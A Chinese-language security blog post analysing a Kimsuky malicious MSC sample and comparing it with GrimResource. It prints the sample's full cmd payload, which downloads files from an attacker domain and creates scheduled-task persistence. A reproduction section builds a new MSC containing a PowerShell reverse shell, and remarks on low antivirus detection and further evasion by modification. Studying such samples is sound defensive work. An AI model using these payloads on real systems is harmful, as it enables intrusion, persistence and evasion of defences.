从Kimsuky组织msc攻击样本到GrimResource
前言
近期笔者通过外网监测到一个Kimsuky组织的msc攻击样本,这里对样本进行分析,以及谈谈其利用的攻击技术
1
| SHA256: 57e9b7d1c18684a4e8b3688c454e832833e063019ed808fd69186c4e20df930a
|
msc文件
MSC(Microsoft Snap-In Control)文件,是微软管理控制台MMC(Microsoft Management Console)用来添加/删除的嵌入式管理单元文件。通常通过MMC来管理,可点击“文件”菜单中的“添加/删除管理单元”操作来管理当前系统中已经安装的MSC文件。可以点击开始/运行,然后输入下列文件名就可以打开相应的控制窗口。
看到这个后缀,很多人可能已经想到了组策略编辑器(gpedit.msc),该样本即是通过msc文件实现攻击,利用特制的管理保存控制台 (MSC) 文件来使用 Microsoft 管理控制台 ( MMC ) 获得完整的代码执行并逃避安全防御
这项技术最早由Elastic 安全实验室在2024 年 6 月 6 日识别出上传到 VirusTotal 恶意软件扫描平台的工件(“ sccm-updater.msc ”),并将该方法命名为GrimResource ,前段时间热门的“银狐”黑产组织也曾利用过该项技术
最初“GrimResource”技术的核心是利用了apds.dll库中存在的一个旧的跨站脚本(XSS)漏洞,通过在制作的MSC文件的StringTable部分适当地引用这个易受攻击的APDS资源,攻击者可以在mmc.exe的上下文中执行任意的JavaScript,本文中的样本攻击方式则有所不同
msc文件结构
首先大概认识一下msc文件,这里以组策略编辑器的msc文件为例:
msc文件本质上是一种XML格式的文件,其中包含一些定义的内容,这里以重要的部分进行解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <?xml version="1.0"?> # xml头 <MMC_ConsoleFile> # 整个MMC控制台内容的标签 <ConsoleFileID>XXX</ConsoleFileID> # msc文件id <FrameState>xxx</FrameState> # 保存了管理控制台窗口的布局和状态信息 <Views> # 定义和保存管理控制台中的视图设置 <View> XXX </View> </Views> <VisualAttributes> # 定义管理控制台(MMC)的视觉属性和界面元素的外观设置 <Icon Index="0" File="xxxx"> # 图标dll地址(dll/exe) <Image Name="Large" BinaryRefIndex="0"/> <Image Name="Small" BinaryRefIndex="1"/> <Image Name="Large48x" BinaryRefIndex="2"/> </Icon> </VisualAttributes> <ScopeTree> # 定义和保存管理控制台的“范围树”(Scope Tree)部分的结构和配置。 <SnapinCache></SnapinCache> # 用于缓存管理单元(snap-ins)的配置信息和状态。 <Nodes> # 视图中节点相关的信息 <Node ID="1" ImageIdx="0" CLSID="{xxx}" Preload="true"> <Nodes/> <String Name="Name" ID="3"/> <Bitmaps> <BinaryData Name="Small" BinaryRefIndex="3"/> <BinaryData Name="Large" BinaryRefIndex="4"/> </Bitmaps> <ComponentDatas> <ComponentData> <GUID Name="Snapin">{xxx}</GUID> <Stream BinaryRefIndex="5"/> </ComponentData> </ComponentDatas> <Components/> </Node> </Nodes> </ScopeTree> <ConsoleTaskpads> # 重点:用于定义和保存管理控制台(MMC)的任务面板配置,在控制台的特定部分显示任务、操作和快捷方式。 <ConsoleTaskpad> <String Name="Name" ID="11"/> <String Name="Description" ID="12"/> <String Name="Tooltip" Value=""/> <Tasks> # 任务相关设置 <Task Type="CommandLine(任务类型)" Command="cmd.exe(命令)"> <String Name="Name" ID="13"/> <String Name="Description" ID="14"/> <Symbol> <Image Name="Small" BinaryRefIndex="6"/> <Image Name="Large" BinaryRefIndex="7"/> </Symbol> <CommandLine Directory="" WindowState="Minimized(窗口最小化)" Params="/c calc(参数)"/> </Task> </Tasks> </ConsoleTaskpad> </ConsoleTaskpads> <ViewSettingsCache>xxx</ViewSettingsCache> # 缓存管理控制台(MMC)的视图设置 <ColumnSettingsCache></ColumnSettingsCache> # 缓存和保存管理控制台(MMC)中表格视图的列设置 <StringTables> # 定义和管理控制台界面中的字符串资源,用于界面中的标签、菜单项、按钮文字以及其他显示文本 <IdentifierPool AbsoluteMin="1" AbsoluteMax="65535" NextAvailable="15"/> <StringTable> <GUID>{xxxx}</GUID> <Strings> <String ID="1" Refs="1">Local Group Policy Editor</String> <String ID="2" Refs="1">Favorites</String> <String ID="3" Refs="1">Local Computer Policy</String> <String ID="4" Refs="2">Console Root</String> </Strings> </StringTable> </StringTables> <BinaryStorage> # 用于存储二进制数据 <Binary Name="CONSOLE_FILE_ICON_LARGE"> Base64 编码或其他编码方式 </Binary> </BinaryStorage> </MMC_ConsoleFile>
|
样本分析
我们已经大致了解了msc文件的结构,有兴趣的话之后会专门写一篇文章来分析
现在开始分析样本
这里可以看到使用了word的图标用以迷惑受害者,看样子应该是针对韩国地区发起的攻击
文本格式打开样本
总体结构和刚刚分析的大致一样,其中MMC_ConsoleFile->VisualAttributes->Icon
部分引用了word的路径,也就是图标部分
往下翻来到重点部分
核心代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <ConsoleTaskpads> <ConsoleTaskpad ListSize="Medium" IsNodeSpecific="true" ReplacesDefaultView="false" NoResults="true" DescriptionsAsText="true" NodeType="{C96401CE-0E17-11D3-885B-00C04F72C717}" ID="{656F3A6A-1A63-4FC4-9C9B-4B75AF6DF3A3}"> <String Name="Name" ID="11"/> <String Name="Description" ID="12"/> <String Name="Tooltip" Value=""/> <Tasks> <Task Type="CommandLine" Command="cmd.exe"> <String Name="Name" ID="13"/> <String Name="Description" ID="14"/> <Symbol> <Image Name="Small" BinaryRefIndex="6"/> <Image Name="Large" BinaryRefIndex="7"/> </Symbol> <CommandLine Directory="" WindowState="Minimized" Params="/c mode 15,1&curl -o "c:\users\public\music\default1" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=xam1"&curl -o "c:\users\public\pictures\default1" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=sam1"&move /y "c:\users\public\music\default1" "c:\users\public\music\default1.xml"&start explorer "https://docs.google.com/document/d/1Z96Gq8lf7h688L0GeZMgAhjipRX1GLmL/edit"&schtasks /create /tn TerminalServiceUpdater /xml c:\users\public\music\default1.xml /f&curl -o "c:\users\public\music\default2" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=xam2"&curl -o "c:\users\public\pictures\default2" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=sam2"&move /y "c:\users\public\music\default2" "c:\users\public\music\default2.xml"&move /y "c:\users\public\pictures\default1" "c:\users\public\pictures\default1.vbs"&schtasks /create /tn TermServiceUpdater /xml c:\users\public\music\default2.xml /f&move /y "c:\users\public\pictures\default2" "c:\users\public\pictures\default2.vbs""/> </Task> </Tasks> <BookMark Name="TargetNode" NodeID="1"/> </ConsoleTaskpad> </ConsoleTaskpads>
|
刚刚提到ConsoleTaskpads
是MMC的任务面板配置
其中<Task Type="CommandLine" Command="cmd.exe">
部分指定了类型为命令行,并且调用了cmd.exe
继续跟到下面CommandLine
部分,首先制定了窗口初始状态为最小化,然后通过Params指定了命令行参数
1 2 3 4 5 6 7 8 9 10 11 12
| /c mode 15,1 curl -o "c:\users\public\music\default1" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=xam1" curl -o "c:\users\public\pictures\default1" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=sam1" move /y "c:\users\public\music\default1" "c:\users\public\music\default1.xml" start explorer "https://docs.google.com/document/d/1Z96Gq8lf7h688L0GeZMgAhjipRX1GLmL/edit" schtasks /create /tn TerminalServiceUpdater /xml c:\users\public\music\default1.xml /f curl -o "c:\users\public\music\default2" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=xam2" curl -o "c:\users\public\pictures\default2" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=sam2" move /y "c:\users\public\music\default2" "c:\users\public\music\default2.xml" move /y "c:\users\public\pictures\default1" "c:\users\public\pictures\default1.vbs" schtasks /create /tn TermServiceUpdater /xml c:\users\public\music\default2.xml /f move /y "c:\users\public\pictures\default2" "c:\users\public\pictures\default2.vbs"
|
第一行指定了命令行窗口模式为15,1(黑背景色白前景色,显示1行)
接下来两行下载了两份文件(这里以参数为称,xam1和xam1)并移动到music和picture目录的default1,现在发现两份文件地址均已经删除
随后将music目录下的default1改为了xml格式,紧接着打开资源管理器访问了https://docs.google.com/document/d/1Z96Gq8lf7h688L0GeZMgAhjipRX1GLmL/edit
,现在已被谷歌文档删除,推测为和用来伪装的字符串相关话题内容,用以迷惑受害者以为仅打开了链接
访问链接后通过schtasks命令以default1.xml为模板创建了计划任务TerminalServiceUpdater
1
| schtasks /create /tn TerminalServiceUpdater /xml c:\users\public\music\default1.xml /f
|
后面又下载了两份文件,现也已删除,后面就是相同的操作这里不再赘述
其中sam1和sam2最后改名为vbs,这里应该才是计划任务最终执行的payload,因为都被删除了这里就不多做分析
GrimResource?
最开始提到了GrimResource最初是通过利用apds.dll库中存在的一个旧的跨站脚本(XSS)漏洞在mmc.exe的上下文中执行任意js代码,而本文的攻击手段则有所不同,所以严格意义上来说该样本并不是使用了GrimResource技术,不过我们还是看看作为攻击手段的有效性
异同
- 同:均是利用msc文件为载体,可以有效绕过安全软件
- 异:GrimResource是利用apds.dll库的漏洞和DotNetToJs技术,随着版本更新会有一定局限性;该样本中则是利用msc文件本身的特性,创建了一个迷惑性的msc操作快捷方式,引导受害者手动点击(更接近于钓鱼)
复现
我们这里以该样本为基础,尝试自己构建一个新的恶意msc文件用以反弹shell
首先构造一个反弹用的powershell脚本
1
| New-Object System.Net.Sockets.TCPClient("127.0.0.1",14512);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
powershell编码
接下来带入样本中,开启nc监听
成功开启反弹
查杀率
微步:
可以看到目前微步的查杀率还是非常低的,并且主要是powershell反弹shell的特征
VT:
VT则因为国外平台的原因已被标记,并且笔者这里跟原样本特征重合度过高,导致几乎都正常识别为了Kimsuky相关(但也只有12/63),实际上自己修改后查杀率还会进一步降低
总结
GrimResource作为一种新型的攻击手段,想必一段时间内仍然会活跃在大众视野中,其利用手段也远远不止最初的用法,相信也能给攻击和防守视角带来一些启发